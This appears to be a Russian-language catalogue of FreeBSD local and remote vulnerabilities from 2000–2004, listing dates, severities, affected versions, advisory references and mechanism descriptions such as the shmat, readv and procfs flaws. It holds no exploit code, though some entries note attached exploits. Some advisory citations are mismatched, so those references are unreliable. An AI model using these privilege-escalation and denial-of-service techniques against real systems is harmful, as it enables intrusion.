Атакующий, способный установить более 256 подключений в течение минуты (зависит от его пропускной способности), может нарушить работу службы в течение следующих 10 минут. Если атакующий завершит подключение перед восстановлением работы службы, то его нападение не будет зарегистрировано.
Затронутые продукты: FreeBSD 4.8 и многие другие
Оригинал: 11 years of inetd default insecurity?
Приложение 33 + Эксплоит

DoS против FreeBSD 4.9 5.1 arp

Опубликованно: 25.09.2003
Источник: FreeBSD
Тип: remote
Опасность: 5
Описание: Уязвимость обнаружена в FreeBSD. Злонамеренный пользователь в локальной сети может вызвать отказ в обслуживании. Функция arplookup() не удаляет неиспользуемые ARP записи в КЭШе, при ответе на ARP запрос. В результате пользователь может затопить систему множеством поддельных ARP запросов в течении короткого периода времени, чтобы вызвать утечку ресурсов в системе.
Затронутые продукты: FreeBSD 4.3-4.9 5.0-1
Оригинал: FreeBSD-SA-03:14.arp.asc
Приложение 8

OpenSSH buffer management error FreeBSD 4.0-4.8-5.2

Опубликованно: 16.09.2003
Источник: FreeBSD
Тип: remote
Опасность: 5
Описание: Удаленный злоумышленник может вывести из строя сервис OpenSSH. Эту уязвимость нельзя использовать для выполнения произвольного кода в FreeBSD.
Затронутые продукты: FreeBSD 4.0-4.8 5.0-5.2
Оригинал: FreeBSD-SA-03:12
Приложение 16

ISAKMPd KAME Racoon - FreeBSD 4.9

Опубликованно: 05.11.03
Источник: BUGTRAQ
Тип: remote
Опасность: 5
Описание: Многочисленные недостатки в реализации RFC 2407-2407.
Затронутые продукты: FreeBSD 4.9
Оригинал: SECURITEAM, [NEWS] Multiple Payload Handling Flaws in ISAKMPd
Thomas Walpuski, multiple payload handling flaws in isakmpd, again
Thomas Walpuski, Re: multiple payload handling flaws in isakmpd, again
Thomas Walpuski, unauthorized deletion of IPsec (and ISAKMP) SAs in racoon
Thomas Walpuski, unauthorized deletion of IPsec SAs in isakmpd, still
Приложение 12

Удаленный DoS против FreeBSD 4.9 5.2

Опубликованно: 03.03.2004
Источник: FreeBSD
Тип: удаленная
Опасность: 6
Описание: Отказ в обслуживании обнаружен в FreeBSD ядре. Удаленный пользователь может заставить целевую систему исчерпать пул сетевых буферов и прекратить обрабатывать новые подключения.
Удаленный пользователь с минимальным трафиком может послать TCP пакеты в неправильной последовательности, чтобы заставить целевую систему исчерпать пул сетевых буферов. В результате система прекратит обрабатывать новые подключения.

Затронутые продукты: FreeBSD 4.9 5.2 и все предыдущие.
Оригинал: FreeBSD-SA-04:04.tcp
Приложение 35


Локальные уязвимые места FreeBSD


Уязвимое место ncurses под FreeBSD 3.0

Опубликованно: 10.05.2000
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Переполнение буфера в библиотеке libmytinfo при разборе TERMCAP
Затронутые продукты: FreeBSD 3.0
Оригинал: FreeBSD-SA-00:17.libmytinfo
Приложение 72

Локальная DoS FreeBSD 3.4 4.0 5.0

Опубликованно: 26.05.2000
Источник: FreeBSD
Тип: local
Опасность: 7
Описание: Недокументированный системный вызов, используемый в ipcs, неиспользующий проверку ACL позволяет любому пользователю заблокировать выход приложений.
Затронутые продукты: FreeBSD 3.4 4.0 5.0
Оригинал: FreeBSD-SA-00:19.semconfig
Приложение 87

Локальный DoS в FreeBSD 3.3

Опубликованно: 02.06.2000
Источник: FreeBSDsec
Тип: local
Опасность: 4
Описание: Команда dd if= of=/dev/fd0 приводит к перезагрузке системы, если дискета защищена на запись.
Затронутые продукты: FreeBSD 3.3
Оригинал: Sergey V. Mikheev, kernel crashed
Приложение 88

Уязвимое место в libedit FreeBSD 3.5 4.0 5.0

Опубликованно: 06.07.2000
Источник: FREEBSD
Тип: local
Опасность: 4
Описание: libedit ищет конфигурационный файл в текущей директории, что может быть использовано для подмены файла с целью обмана пользователя.
Затронутые продукты: FreeBSD 3.5 4.0 5.0
Оригинал: FreeBSD-SA-00:24.libedit
Приложение 81

Уязвимое место в linux-подсистеме FreeBSD 3.5-4.1-5.0

Опубликованно: 29.08.2000
Источник: FREEBSD
Тип: local
Опасность: 8
Описание: Из-за особенностей эмуляции файловой системе при определенных условиях пользователь может запустить собственные LKM (Loadable Kernel Mode) получив доступ ко всей системе.
Затронутые продукты: FreeBSD 3.5 4.0 5.0
Оригинал: FreeBSD-SA-00:42.linux
Приложение 82

DoS в FreeBSD 3.5 4.1 5.0 _ ELF-Файлы

Опубликованно: 29.08.2000
Источник: FREEBSD
Тип: local
Опасность: 5
Описание: Некорректная структура исполняемого ELF-Файла может привести к краху системы.
Затронутые продукты: FreeBSD 5.0 FreeBSD 4.1 FreeBSD 3.5
Оригинал: FreeBSD-SA-00:41.elf
Приложение 58

Уязвимое место в catopen (libc) FreeBSD 3.5 - 4.1 - 5.0

Опубликованно: 28.09.2000
Источник: FREEBSD
Тип: local
Опасность: 6
Описание: В дополнение к ошибке форматной строки в catopen/setlocale в catopen так же имеется переполнение буфера при разборе локальных переменных окружения.
Затронутые продукты: FreeBSD 3.5 4.1 5.0 и более ранних
Оригинал: FreeBSD-SA-00:53.catopen
Приложение 79

Серьезная уязвимость в ncurses FreeBSD 3.5 4.1 5.0

Опубликованно: 10.10.2000
Источник: BUGTRAQ
Тип: библиотека
Опасность: 8
Описание: Классическое переполнение буфера при обработке пользовательского файла .terminfo
Затронутые продукты: FreeBSD 5.0 4.2 3.5
Оригинал: Jouko Pynnonen, ncurses buffer overflows
FreeBSD-SA-04:17.procfs
Приложение 103

Ошибка форматной строки утилиты top в FreeBSD 3.5 4.1

Опубликованно: 02.11.2000
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Ошибка форматной строки позволяет получить привилегии группы kmem
Затронутые продукты: FreeBSD 3.5 4.1 и более ранние
Оригинал: FreeBSD-SA-00:62.top
freebsd x86 top exploit
Приложение 85

Уязвимое место в утилитах chpass FreeBSD 3.5 4.0

Опубликованно: 05.10.2000
Источник: BUGTRAQ
Тип: local
Опасность: 9
Описание: Утилиты chfn/chpass/chsh/ypchfn/ypchpass/ypchsh/passwd содержат уязвимость форматной строки.
Затронутые продукты: FreeBSD 3.5 4.0 и более ранние
Оригинал: FreeBSD-SA-00:58.chpass
freebsd x86 top exploit
Приложение 86

Уязвимое место в procfs в FreeBSD 3.5 4.2

Опубликованно: 18.12.2000
Источник: BUGTRAQ
Тип: local
Опасность: 9
Описание: Третий раз (с 1997 года) одна и таже дырка в procfs в BSD .
Затронутые продукты: FreeBSD 3.5 4.2
Оригинал: FreeBSD-SA-00:77.procfs
Exploiting Kernel Buffer Overflows FreeBSD Style
jail(2) break & security level exploit (procfs)
Приложение 83

Несколько уязвимых мест в crontab FreeBSD 3.5 4.0-4.1

Опубликованно: 24.01.2001
Источник: FreeBSD
Тип: local
Опасность: 7
Описание: Можно открыть любой файл в формает Crontab, в т.ч. расписания других пользователей.
Проблема символьных линков при использовании crontab -e Можно прочитать любой файл начинающийся с символа #
Затронутые продукты: FreeBSD 3.5 4.0 4.1
Оригинал: FreeBSD-SA-01:09.crontab
Приложение 99

Уязвимое место в periodic FreeBSD 4.1

Опубликованно: 30.01.2001
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Создаются временные файлы небезопасным образом.
Затронутые продукты: FreeBSD 4.1
Оригинал: FreeBSD-SA-01:12.periodic
Приложение 83

Уязвимое место в sort FreeBSD 3.5 - 4.2

Опубликованно: 30.01.2001
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Небезопасная работа с временными файлами.
Затронутые продукты: FreeBSD 3.5 4.2 и более ранние
Оригинал: FreeBSD-SA-01:13.sort
Приложение 84

Уязвимое место в ufs ext2fs FreeBSD 3.5 4.2

Опубликованно: 23.03.2001
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Локальный пользователь может получить доступ к содержимому файлов, которые были удалены.
Затронутые продукты: FreeBSD 3.5 4.2 и более ранние
Оригинал: FreeBSD-SA-01:30.ufs-ext2fs
Приложение 98

Уязвимое место в clean-tmps в FreeBSD 4.3

Опубликованно: 26.05.2001
Источник: FREEBSD
Тип: local
Опасность: 5
Описание: Можно удалить любые файлы в корневом каталоге.
Затронутые продукты:
Оригинал: 4.3 Security: local DoS via clean-tmps
FreeBSD 4.3 local DoS via clean-tmps
Приложение 80

Проблемы с обработчиками сигналов в FreeBSD 4.3

Опубликованно: 10.07.2001
Источник: Buqtrack
Тип: local
Опасность: 8
Описание: При выполнении exec() не все обработчики сигналов очищаются, что позволяет встроить свой код в suid-приложение. Затронутые продукты: FreeBSD 4.3
Оригинал: FreeBSD-SA-01:42.signal
FreeBSD 4.3 local root
Приложение 111
FreeBSD 4.3 local root exploit using shared signals

Локальное повышение полномочий до root для FreeBSD 4.3

Опубликованно: 11.07.2001
Источник: Securitylab
Тип: local
Опасность: 8
Описание: Найдена проблема в обработчике сигналов rfork(RFPROC|RFSIGSHARE). При выполнении команды exec() этот сигнал не очищается, что позволяет злоумышленнику встроить любой код в suid-приложение.
Затронутые продукты: FreeBSD 4.3 и более ранних
Оригинал: Локальный root для FreeBSD 4.3
Приложение 89 + эксплоит

Уязвимое место в fts из libc FreeBSD 4.3

Опубликованно: 17.08.2001
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Сконструировав специальные имена файлов можно выйти за пределы дерева директорий.
Затронутые продукты: FreeBSD 4.3
Оригинал: FreeBSD-SA-01:40.fts
Приложение 68

Неправомочный доступ в procfs в FreeBSD до 4.3

Опубликованно: 23.08.2001
Источник: FreeBSD
Тип: local
Опасность: 7
Описание: Procfs - процесс файловой системы, который представляет интерфейс файловой системы системной таблице процесса, вместе со связанными данными. Procfs обеспечивает доступ к пространству памяти процессов через синтетический /proc/{pid}/mem файл, подчиненным проверкам управления доступом.

До перемещения системы, контролирующей утилиты (типа ps (8)) чтобы использовать sysctl (8) интерфейс управления, эти утилиты прежде использовали procfs и прямой доступ к памяти ядра, чтобы извлечь информацию процесса, и они выполнялись с setgid kmem привилегиями. Procfs проверяет код для gid kmem привилегии при предоставлении доступа к файлу /proc/{pid}/mem - однако, код, который используется, чтобы позволить доступ только для чтения через kmem группу, неправильный, так как предоставляет доступ для чтения вызывающей программе, в течении открытого дескриптора для файла procfs mem.

Результат этой проблемы - то, что, если процесс первоначально имеет права отладки на второй процесс, то он может сохранить доступ к пространству памяти целевого процесса, даже если целевой процесс модернизировал привилегию на основании выполнения вызова execve() на setgid или setuid процесс. Эта уязвимость может вести к утечке чувствительной информации от таких процессов, которые могли использоваться как основание для дополнительных нападений, приводя к подъему привилегии нападающего.

Файловая система Linprocfs также уязвима к этой проблеме, если поддержка procfs доступна в ядре (статически откомпилированная или динамически загруженная как модуль). Если поддержка procfs - не доступна тогда linprocfs - не уязвим к этой проблеме. Все выпущенные версии FreeBSD 4.x, включая FreeBSD 4.3-release уязвимы к этой проблеме, если файловая система procfs находится в использовании.

Затронутые продукты: FreeBSD 4.0-4.3
Оригинал: FreeBSD-SA-01:55.procfs
Приложение 90

Некоректные павила rmuser в FreeBSD 4.3

Опубликованно: 05.09.2001
Источник: FreeBSD
Тип: local
Опасность: 4
Описание: При изменении passwd-Файлов сначала создается новый файл и лишь потом устанавливаются корректные разрешения.
Затронутые продукты: FreeBSD 4.3 и ранние
Оригинал: FreeBSD-SA-01:59.rmuser
Приложение 100

Уязвимое место в OPEN SSH для FreeBSD до 4.4

Опубликованно: 04.12.2001
Источник: FreeBSD
Тип: local
Опасность: 8
Описание: Злоумышленник который может успешно аутентифицироватся используя открытый ключ может заставить /usb/bin/login выполнить произвольный код от имени суперпользователя. Если не включена директива 'UseLogin' в конфигурационном файле sshd, тогда система не имеет этой уязвимости.
Затронутые продукты: FreeBSD 4.4 и ранние
Оригинал: FreeBSD-SA-01:63.openssh
Эксплоит: FreeBSD openssh эксплоит
Приложение 97

Уязвимое место в AIO FreeBSD 4.2-4.4

Опубликованно: 11.12.2001
Источник: BUGTRAQ
Тип: local
Опасность: 6
Описание: AIO - POSIX стандарт для асинхронного ввода - вывода. При некоторых условиях, намеченные операции AIO сохраняются после выполнения, позволяя произвольные наложения записей в памяти нового процесса. Комбинируя с возможностью выполнять suid программы, уязвимость может повышать привилегии. В настоящее время VFS_AIO не допускается в значении по умолчанию в конфигурации ядра FreeBSD.
Затронутые продукты: FreeBSD 4.2-4.4
Оригинал: David Rufino, AIO vulnerability
Эксплоит: FreeBSD AIO exploit
Приложение 56

Уязвимые места Kerberos 5 в FreeBSD 4.4

Опубликованно: 18.01.2002
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: В некоторых ситуациях процессы которые были запущены от имени root, но в последствии лишенные администраторских привилегий могут снова их получить через вызыв 'k5su'.
Затронутые продукты: FreeBSD 4.4
Оригинал: FreeBSD-SA-02:07.k5su.asc
Приложение 96

Ошибка операции exec() ядра FreeBSD 4.5

Опубликованно: 24.01.2002
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Локальный пользователь может увеличить свои права в локальной системе.
Затронутые продукты: FreeBSD 4.5 и ранние
Оригинал: FreeBSD-SA-02:08.exec
Приложение 92

Уязвимость в fstatfs ядра FreeBSD 4.4

Опубликованно: 06.02.2002
Источник: FreeBSD
Опасность: 4
Тип: local
Описание: На уязвимой системе FreeBSD где смотирован procfs, непривилегированный локольный пользователь может вызвать панику ядра.
Затронутые продукты: FreeBSD 4.4 и более ранние
Оригинал: FreeBSD-SA-02:09.fstatfs
Приложение 108

Уязвимость double free() в zlib FreeBSD 4.5

Опубликованно: 18.03.2002
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Если злоумышленник сможет передать специально составленный блок неправильно сжатой информации приложению которое использует zlib, тогда при декомпресси информации возможно выполнение неправильной операции приложением, что может привести к его краху.
Затронутые продукты: FreeBSD 4.5 и более ранние
Оригинал: FreeBSD-SA-02:18.zlib
Приложение 104

Опасность в stdio в ядре FreeBSD 4.x - 4.5

Опубликованно: 19.04.2002
Источник: FreeBSD
Тип: local
Опасность: 6
Описание: Локальный пользователь может получить привелегии суперпользователя. Известно что программа 'keyinit' меняющая ID пользователя подверженна этой уязвимости.
Затронутые продукты: FreeBSD 4.5 и более ранние
Оригинал: FreeBSD-SA-02:23.stdio
Приложение 91

Возможен неавторизованный доступ к suid-процессам FreeBSD 4.5 5.0

Опубликованно: 22.04.2002
Источник: SECURITEAM
Тип: local
Опасность: 9
Описание: Исчерпав файловые дискрипторы в системе и закрыв stderr и вызвав suid-приложение можно вызвать ситуацию, что открытый приложением файл получит дискриптор с номером 2 и в него будет перенаправлен поток stderr.
Затронутые продукты: FreeBSD 4.5 и 5.0
Оригинал: Pine Internet Advisory: Setuid application execution may give local root in FreeBSD
FreeBSD-SA-02:23.stdio
stdio kernel bug in All releases of FreeBSD
Proof Of Concept exploit for the Freebsd file descriptors bug
Приложение 76

Несколько уязвимых мест в Bzip2 для FreeBSD 4.4-4.5

Опубликованно: 01.05.2002
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Bzip2 - расширенная утилита сжатия файла, поставляемая по умолчанию с FreeBSD 4.4-RELEASE.
При создании файла в процессе декомпрессии, утилита bzip2 не в состоянии использовать флажок O_EXCL, позволяя перезаписывать файлы без предупреждения.
Кроме того, утилита bzip2 не безопасно создает новые файлы, позволяя изменять состояние операции между созданием файла и установкой правильных разрешений. Уязвимость позволяет читать файлы вне зависимости от установленных разрешений.
При сжатии файла, указывающего на символьную ссылку, утилита bzip2 сохранит разрешение символьной ссылки вместо файла. Это может приводить к тому, что декомпрессированный файл будет иметь более слабые разрешения (rwxr-xr-x).
Затронутые продукты: FreeBSD 4.4 - 4.5
Оригинал: FreeBSD-SA-02:25.bzip2
Приложение 57

Уязвимое место k5su в FreeBSD 4.4-4.5

Опубликованно: 20.05.2002
Источник: FreeBSD
Тип: local
Опасность: 6
Описание: Утилита K5su - SU утилита, подобная su (1), и используется для изменения привилегии после идентификации, используя Kerberos 5 или местный passwd(5) файл. K5su установлен как часть пакета 'krb5', с установленным набором MAKE_KERBEROS5.
Исторически, утилита BSD su позволяет членам группы `wheel' (group-ID 0) получать привилегии суперпользователя. Однако Утилита K5su не следует этому правилу и не проверяет членство группы, если пользователь успешно подтвердил подлинность.
K5su также унаследовал некоторые недостатки su (1), типа проверки истечения пароля, осуществление классов входа в систему, и проверки для вошедшего пользователя оболочки входа в /etc/shells.
Затронутые продукты: FreeBSD 4.4-4.5
Оригинал: FreeBSD-SA-04:03.jail
Приложение 70

Уязвимость маскировки процессов в FreeBSD 4.3-4.5

Опубликованно: 21.05.2002
Источник: Buqtrack
Тип: local
Опасность: 3
Описание: Уязвимость в механизме маскировки процессов в FreeBSD В FreeBSD, установка kern.ps_showallprocs=0 через sysctl запрос, как предполагается, отключает нормальных пользователей от наблюдения за любыми выполняемыми процессами, которые не принадлежат им. Однако текущее выполнение этой особенности не предотвращает пользователя от просмотра процессов (используя procfs filesystem или команду ps с некоторыми опциями).
Затронутые продукты: FreeBSD 4.3-4.5
Оригинал: ps under FreeBSD
Приложение 110

FreeBSD 4.4 - 4.5 rc script file deletion

Опубликованно: 31.05.2002
Источник: BUGTRAQ
Тип: local
Опасность: 5
Описание: Не проверяются символические ссылки при очистке /tmp.
Затронутые продукты: FreeBSD 4.4 - 4.5
Оригинал: FreeBSD-SA-02:27.rc
Приложение 63

Уязвимости файловой системы FFS в FreeBSD 4.6

Опубликованно: 05.08.2002
Источник: FreeBSD
Тип: local
Опасность: 6
Описание: Berkeley Fast File System (FFS) - файловая система, по умолчанию используемая в FreeBSD.
Уязвимость обнаружена в способе вычисления максимального разрешенного размера файла, который может быть больше, чем виртуальная память FreeBSD может обработать. При обращении к таким файлам произойдет целочисленное переполнение, в результате отобразится часть метаданных файловой системы в пользовательский файл, тем самым становится возможен доступ к произвольным блокам файловой системы.
Ошибка возможно только на файловой системе FFS с размером блока 16 КБ или больше на i386, или 32 КБ или больше на alpha. Также, файловая система должна иметь, по крайней мере, 6 блоков свободного пространства, и пользователь должен иметь доступ на запись, по крайней мере, в одном файле на файловой системе. Какой размер блока используется, можно определить следующей командой:
# dumpfs /some/filesystem | grep '^bsize'
Успешная эксплуатация может позволяет местному атакующему полностью разрушить файловую систему, читать и записывать произвольные файлы, тем самым получая привилегии суперпользователя.

Затронутые продукты: FreeBSD 4.6
Оригинал: FreeBSD-SA-02:35.ffs
Приложение 105

Утечка информации в ktrace FreeBSD 4.6

Опубликованно: 12.07.2002
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Локольные пользователи системы где ktrace включена опцией ядра KTRACE, могут получить доступ к важной информации, такой как - файлы паролей и ключи аутентификации. Пока не известны конкретные утилиты подверженные этой уязвимости.
Затронутые продукты: FreeBSD 4.6 и более ранние
Оригинал: FreeBSD-SA-02:30.ktrace
Приложение 109

Уязвимое место в pppd FreeBSD 4.3-4.6

Опубликованно: 31.07.2002
Источник: FreeBSD
Тип: local
Опасность: 4
Описание: Локальный злоумышленник может использовать уязвимое место для получения прав на запись в критические системные файлы, такие как /etc/crontab и таким образом повысить свои права.
Затронутые продукты: FreeBSD 4.6.1 b и более ранние
Оригинал: FreeBSD-SA-02:32.pppd
Приложение 1

Переполнение буфера системных вызовов в FreeBSD 4.0-4.6

Опубликованно: 21.08.2002
Источник: FreeBSD
Тип: local
Опасность: 6
Описание: Уязвимость связанна с тем, что системные вызовы принимают параметры как положительные целые числа, в то время как в действительности они обрабатываются как целые числа со знаком. Если отрицательное число снабжено для такого параметра, механизмы проверки границы для него не сработают. Снабжая большие отрицательные числа, нападающий может заставить вызовы возвратить часть памяти ядра, которая может содержать множество системной информации, типа кэша файла или паролей пользователя. В некоторых слкчаях уязвимость возможно может использоваться для выполнения произвольного кода. Уязвимые вызовы: accept(2), getsockname(2), and getpeername(2), vesa(4), FBIO_GETPALETTE ioctl(2).
Затронутые продукты: FreeBSD 4.0 - 4.6
Оригинал: FreeBSD-SA-02:38.signed-error.asc
Приложение 95

DoS ядра FreeBsd изза kqueue FreeBSD 4.3-4.6

Опубликованно: 07.08.2002
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: DoS против ядра FreeBsd используя механизм kqueue
механизм kqueue позволяет процессу регистрировать значения в специфических событиях на специфических файловых дескрипторах, и получать асинхронное уведомление, когда эти события происходят на выбранных дескрипторах.
Если канал был создан с системным вызовом pipe(2), и один конец канала был закрыт, регистрация фильтра EVFILT_WRITE в другом конце приведет к нестабильной работе ядра.
Это может произойти, когда процесс использует канал, чтобы связаться с дочерним процессом и используется kqueue, чтобы контролировать канал и дочерний процесс умирает сразу после вызова fork(2), перед регистрацией фильтра родительским процессом.
Уязвимость позволяет местному пользователю вызывать зависание системы, выполняя злонамеренное приложение.
Затронутые продукты: FreeBSD 4.3-4.6
Оригинал: FreeBSD-SA-02:37.kqueue
Приложение 61

Уязвимое место libkvm файловых дескрипторов FreeBSD 4.2 - 4.6

Опубликованно: 17.09.2002
Источник: Buqtrack
Тип: local
Опасность: 5
Описание: Уязвимость, обнаруженная в FreeBSD ports asmon, ascpu, bubblemon, wmmon и wmnet2, позволяет локальному пользователю управлять открытыми файловыми дескрипторами, чтобы получить root привилегии на целевой системе. Эти пять программ установлены как setgid kmem по умолчанию. При их выполнении пользователем, программы понижают свои привилегии, но дескрипторы файлов в /dev/mem и /dev/kmem остаются открытыми. Уязвимость может использоваться различными способами (например, атакующий может просмотреть файл master password в памяти Linux ядра).
Затронутые продукты: FreeBSD 4.6.2 и предыдущие
Оригинал: FreeBSD-SA-02:39.libkvm
FreeBSD Ports libkvm Security Vulnerabilities
Приложение 72
Пример эксплуатации

Уяязвимое место в smrsh sendmail freebsd 4.3 - 4.7

Опубликованно: 12.11.2002
Источник: FreeBSD
Тип: local
Опасность: 4
Описание: Пользователи с локальными учетными записями и возможностью изменять свои `.forward' файлы может обойти ограничения smrsh. Это в основном касается систем которые имеют локальных пользователей с отсутствующими правами на терминальное подключение, тогда эти пользователи смогут выполнять произвольные команды с обычными правами.
Затронутые продукты: FreeBSD 4.7 и более ранние
Оригинал: FreeBSD-SA-02:41.smrsh
Приложение 75

переполнение буфера в fpathconf ядра freebsd 4.3-4.7 и 5.0

Опубликованно: 07.01.2003
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Локальное целочисленное переполнение буфера в FreeBSD
Целочисленное переполнение буфера обнаружено в системных вызовах fpathconf и lseek в FreeBSD системах.
FreeBSD ядро поддерживает внутренний счетчик для любых открытых файлов. Локальный пользователь может аварийно завершить работу операционной системы, вызывая fpathconfс() и lseek() на файловом дескрипторе, пока значение внутреннего счетчика не станет отрицательным. Уязвимость может использоваться для DoS атаки против ядра или получению root привилегий.
Затронутые продукты: FreeBSD 4.3-4.7, FreeBSD 5.0
Оригинал: FreeBSD-SA-02:44.filedesc
Приложение 62

Уязвимость при проверке сигналов FreeBSD 4.3-4.8 5.1

Опубликованно: 10.08.2003
Источник: FreeBSD
Тип: local
Опасность: 6
Описание: Уязвимость обнаружена в FreeBSD ядре в проверке значений номера сигналов. Локальный пользователь может аварийно завершить работу системы. В некоторых конфигурациях, локальный пользователь может изменить память ядра и получить полный контроль над системой.
Локальный пользователь может заставить некоторые приложения послать отрицательные значения или значения, не расположенные в диапазоне сигналов к ядру, чтобы эксплуатировать обнаруженную уязвимость. Уязвимые приложения включают ptrace(2) системный вызов и 'spigot' драйвер устройства видео захвата. Недостаток в ptrace(2) обнаружен в FreeBSD 4.2. Уязвимый `spigot' драйвер устройства обнаружен в FreeBSD 2.0.5, но он не является частью ядра по умолчанию. В этих системах локальный пользователь может вызвать аварийное завершение работы FreeBSD системы.
На некоторых FreeBSD 5.x системах (в которых не используется опция ядра 'INVARIANTS' - по умолчанию в FreeBSD 5.0-RELEASE and 5.1-RELEASE) локальный пользователь может изменить память ядра.

Затронутые продукты: FreeBSD 4.8 5.1 и более ранние
Оригинал: FreeBSD-SA-03:09.signal
Приложение 77

Раскрытие части памяти в kernel ibcs2 FreeBSD 4.3 - 4.8 5.1

Опубликованно: 10.08.2003
Источник: FreeBSD
Тип: local
Опасность: 4
Описание: Уязвимость обнаружена в FreeBSD ядре в 'ibcs2.ko' загружаемом модуле ядра. Локальный пользователь может читать части памяти ядра и может получить поднятые привилегии, используя информацию, содержащуюся в памяти ядра.
Функция statfs(2) копирует данные ядра к приложениям уровня пользователя, основываясь на длине параметров, представленных пользователем. Локальный пользователь может представить чрезмерно длинный параметр, чтобы получить доступ на чтение к дополнительной памяти ядра. Раскрываемая информация может включать пароли, которые могут использоваться локальным пользователем для получения поднятых привилегий.
Согласно сообщению, уязвимый модуль загружается только когда установлена 'option IBCS2' в конфигурационном файле ядра, или если kldload(8) используется для динамической загрузки или 'ibcs2_enable' установлен в rc.conf(5) файле.
Затронутые продукты: FreeBSD 4.8 5.1 и все прерыдущие
Оригинал: FreeBSD-SA-02:24.k5su
Приложение 71

Переполнение буфера в procfs FreeBSD 4.3-4.8 5.2

Опубликованно: 03.10.2003
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Уязвимость обнаружена в FreeBSD ядре в procfs. Локальный пользователь может аварийно завершить работу системы. Локальный пользователь может читать произвольные части памяти ядра, чтобы получить поднятые привилегии.
Недостаток обнаружен в процессе файловой системы [procfs(5)]. В uiomove(9) системном вызове, не проверяются компоненты 'struct uio' переменной. Локальный пользователь может установить 'uio_offset' параметр к чрезмерно большому или отрицательному значению, чтобы аварийно завершить работу ядра или возвратить большую порцию памяти ядра, которая может содержать чувствительную информацию.
Затронутые продукты: FreeBSD FreeBSD 4.8 5.1 и более ранние
Оригинал: FreeBSD-SA-03:17.procfs
Приложение 73

Переполнение буфера в FreeBSD 4.3-4.8 в readv

Опубликованно: 4.11.2003
Источник: Pine Digital Security Advisory
Тип: local
Опасность: 5
Описание: Целочисленное переполнение буфера обнаружено в операционной системе FreeBSD в readv(2) системном вызове. Локальный пользователь может аварийно завершить работу ядра. Локальный пользователь может получить доступ на чтение и запись к файлам на системе, чтобы получить поднятые привилегии.
Из-за отсутствия вызова функции fdrop() в системном вызове readv(2), локальный пользователь может сделать многочисленные readv(2) запросы с чрезмерно длинным параметром "iovcnt", пока значение счётчика ссылок (int f_count) не станет отрицательным. Затем пользователь может вызвать close() на файловом дескрипторе, чтобы вызвать отказ в обслуживании в ядре FreeBSD.
Подобным образом, локальный пользователь может заставить файловый дескриптор выделить нераспределенную память ядра не выполняя деструктивных действий. Если ядро позже открывает новый файл, распределяя новую структуру файла в том же самом (предварительно освобожденном) местоположении памяти, то локальный пользователь может получить доступ на чтение или запись к этому файлу. В результате, локальный пользователь может получить поднятые привилегии.

Затронутые продукты: FreeBSD 4.8 и более ранние
Оригинал: Pine Digital Security Advisory
FreeBSD-SA-03:16.filedesc
Приложение 93

FreeBSD 5.0-5.2 smat privilege escalation

Опубликованно: 06.02.2004
Источник: BUGTRAQ
Тип: local
Опасность: 6
Описание: Возможно получить доступ к невыделенным страницам физической памяти.
Затронутые продукты: FreeBSD 5.0 - 5.2
Оригинал: reference count overflow in shmat()
Приложение 64

Переполнение буфера FreeBSD shmat 4.7-4.9 5.2

Опубликованно: 05.02.2004
Источник: FreeBSD
Тип: local
Опасность: 6
Описание: Целочисленное переполнение буфера обнаружено в функции shmat() в FreeBSD, NetBSD, и OpenBSD. Локальный пользователь может получить поднятые привилегии на целевой системе.
Локальный пользователь может создать общежоступный сегмент памяти, используя shmget(2), и затем создать два отдельных отображения в двух различных местоположениях, используя shmat(2). Затем локальный пользователь может выполнить большое количество некорректных запросов к shmat(2) и затем удалить одно отображение, используя shmdt(2), чтобы вызвать исключение. Затем, чтобы получить поднятые привилегии, программа с set user id (setuid) привилегиями может быть выполнена, чтобы многократно использовать неправильно освобожденную память и записать произвольный код в стек.
Затронутые продукты: FreeBSD 4.9 FreeBSD 5.2 и все более ранние
Оригинал: FreeBSD-SA-04:02.shmat
Приложение 65

Уязвимое место в Jail FreeBSD ядре 5.1-5.2

Опубликованно: 25.02.2004
Источник: FreeBSD
Тип: local
Опасность: 4
Описание: Уязвимость обнаружена в FreeBSD ядре. Суперпользовательский процесс в пределах пространства пользователя (jail), может получить полный доступ к другому jail на целевой системе.
Уязвимость обнаружена в системном вызове jail_attach(2) в проверке привилегий. В результате процесс с привилегиями суперпользователя внутри одного jail может изменить свой root каталог к каталогу отличного целевого jail. Процесс получит полный доступ на чтение и запись к файлам и директориям внутри целевого jail.
Затронутые продукты: FreeBSD 5.2 и ранние
Оригинал: FreeBSD-SA-04:03.jail
Приложение 69

DoS в FreeBSD 5.2

Опубликованно: 30.03.2004
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Уязвимость обнаружена в FreeBSD в IPv6 setsockopt(2) запросе. Локальный пользователь может просматривать память ядра или вызвать панику ядра (kernel panic).
Уязвимость обнаружена в KAME IPv6 выполнении, но затрагивает только FreeBSD системы. Ошибка присутствует в параметрах IPv6 сокетов, в setsockopt(2) системном вызове setsockopt(2).
Затронутые продукты: FreeBSD 5.2
Оригинал: FreeBSD-SA-04:06.ipv6
Приложение 60

Возможна блокировка изменений в файлах в FreeBSD 4.10 5.2

Опубликованно: 26.05.2004
Источник: FreeBSD
Тип: local
Опасность: 4
Описание: Уязвимость обнаружена в FreeBSD msync(2) системном вызове. Локальный пользователь может в некоторых случаях препятствовать изменениям, которые были внесены в файл.
Ошибка в MS_INVALIDATE операции воздействует на целостность кэша между виртуальной памяти системи и содержанием диска. В результате локальный пользователь с доступом на чтение файла может препятствовать изменениям, сделанным к этому файлу.

Затронутые продукты: FreeBSD 4.10 5.2 и все более ранние
Оригинал: FreeBSD-SA-04:11.msync
Приложение 78

Уязвимость Jail в FreeBSD 4.1-4.10

Опубликованно: 07.06.2004
Источник: FreeBSD
Тип: local
Опасность: 6
Описание: Уязвимость обнаружена в jail(2) в FreeBSD ядре. Jail процесс может изменять таблицу маршрутизации хоста.
